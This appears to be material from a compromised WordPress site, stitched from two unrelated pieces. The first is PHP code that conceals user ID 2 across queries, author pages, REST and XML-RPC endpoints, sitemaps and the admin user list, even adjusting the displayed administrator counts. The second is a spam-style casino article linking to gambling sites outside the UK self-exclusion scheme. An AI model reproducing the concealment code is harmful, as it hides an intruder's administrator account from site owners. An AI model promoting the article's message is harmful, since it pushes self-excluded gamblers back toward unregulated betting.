add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 2;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 2;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 2;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 2;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 2;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-2{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<title>Non GamStop Casinos: Life Past the Edge of the Self-Exclusion Wall</title>
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										<content:encoded><![CDATA[<p>Self-exclusion is meant to be a wall with no door. You block yourself, and every UK-licensed operator is obliged to keep you out until the clock runs down. What nobody mentions is that the wall has an edge &#8211; and past that edge sits a busy market of <a href="https://topnonstop.co/">gambling sites not on gamstop</a>, licensed abroad, open to British players, and answerable to no UK regulator. That isn&#8217;t automatically sinister. It does mean the safety net you&#8217;re used to has been removed, and you&#8217;ll be the one holding the rope.</p>
<h2>What &#8220;outside the system&#8221; actually means</h2>
<p>These operators hold international licences &#8211; Curaçao, Anjouan, Malta, Kahnawake &#8211; and run their own responsible gambling tools internally instead of plugging into a national register. UK law doesn&#8217;t stop you from signing up. What it won&#8217;t do is help you if a withdrawal stalls and the operator stops answering emails. Your dispute route is the licence holder&#8217;s complaints process, and the quality of that varies wildly from one jurisdiction to the next.</p>
<h2>Where the two markets diverge</h2>
<p>The differences are structural, not cosmetic. Here&#8217;s the honest comparison:</p>
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<td>Self-exclusion</td>
<td>Centralised national register</td>
<td>Handled per casino, by request</td>
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<td>Capped and tightly advertised</td>
<td>Larger, more frequent, more caveats</td>
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<td>Before  first withdrawal, always</td>
<td>Often only on large or suspicious payouts</td>
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<td>Cards, e-wallets, bank</td>
<td>Adds crypto and prepaid</td>
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<h2>The bonus is where the trap hides</h2>
<p>International sites dangle welcome packages that look almost absurd next to UK offers &#8211; deposit matches, free spins, cashback, reload deals, loyalty tiers. The generosity is real. The strings are also longer. Read these before you claim anything:</p>
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<li>Wagering requirements and how much time you get to clear them</li>
<li>Maximum bet allowed while a bonus is active</li>
<li>Which games count toward wagering, and at what percentage</li>
<li>Withdrawal caps on winnings from free spins or no-deposit funds</li>
<li>Payment methods excluded from bonus eligibility</li>
</ul>
<h2>Payments, and why verification feels lighter</h2>
<p>Crypto is the headline draw &#8211; near-instant transfers, no bank descriptor, minimal personal data at signup. E-wallets sit in the middle, cards and bank transfers are the slow, familiar option, and prepaid cards keep gambling money away from your current account but rarely work for withdrawals. The lighter KYC is genuinely convenient. It&#8217;s also the reason a big win can trigger a document request you weren&#8217;t expecting, so keep ID and proof of address ready before you need them.</p>
<h2>Your pre-deposit routine</h2>
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<li>Confirm the licence and look up the regulator&#8217;s complaint record.</li>
<li>Read the bonus terms in full, not the summary box.</li>
<li>Set a deposit limit the moment the account opens &#8211; not after a bad night.</li>
<li>Turn on two-factor authentication and use a password you&#8217;ve never reused.</li>
<li>Test with a small withdrawal early, before real money is sitting there.</li>
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<p>Treat the first withdrawal as the real audition. A casino that pays a modest sum quickly, without stalling or inventing new conditions, has told you more about itself than any welcome banner ever will. Start small, get paid once, and only then decide whether the extra freedom is worth the missing safety net.</p>
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